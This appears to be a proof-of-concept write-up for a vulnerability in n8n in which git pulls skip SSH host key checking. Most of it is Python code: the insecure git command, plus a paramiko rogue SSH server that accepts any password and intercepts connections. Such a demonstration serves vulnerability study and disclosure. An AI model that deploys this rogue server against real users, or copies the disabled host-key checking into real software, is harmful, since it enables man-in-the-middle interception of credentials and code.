CVE-2026-33724 n8n SSH主机密钥验证绕过漏洞

# PoC Concept: Demonstration of the vulnerable SSH command behavior # In n8n < 2.5.0, the system would effectively execute a git command similar to this: import subprocess # This simulates how the vulnerable command ignores host key verification vulnerable_command = [ "git", "-c", "core.sshCommand=ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null", "pull", "origin", "master" ] print("Simulating vulnerable git pull operation without host key checking...") # subprocess.run(vulnerable_command) # Actual execution commented out for safety # To exploit this, an attacker would set up a rogue SSH server (Man-in-the-Middle). # Below is a Python script using paramiko to simulate a rogue server accepting the connection. import socket import paramiko import threading # Generate a test key for the rogue server: `ssh-keygen -f test_rsa.key -t rsa -N ''` HOST_KEY = paramiko.RSAKey(filename='test_rsa.key') class RogueSSHServer(paramiko.ServerInterface): def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): # Accept any authentication attempt to simulate the exploit return paramiko.AUTH_SUCCESSFUL def start_rogue_server(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 2222)) sock.listen(100) print('[+] Rogue SSH server listening on port 2222...') client, addr = sock.accept() print(f'[+] Connection intercepted from: {addr}') t = paramiko.Transport(client) t.add_server_key(HOST_KEY) server = RogueSSHServer() try: t.start_server(server=server) except Exception as e: print(f'[-] Server start failed: {e}') # In a real attack scenario, the attacker would also need to handle the git protocol # to serve malicious commits or capture pushed data. # start_rogue_server()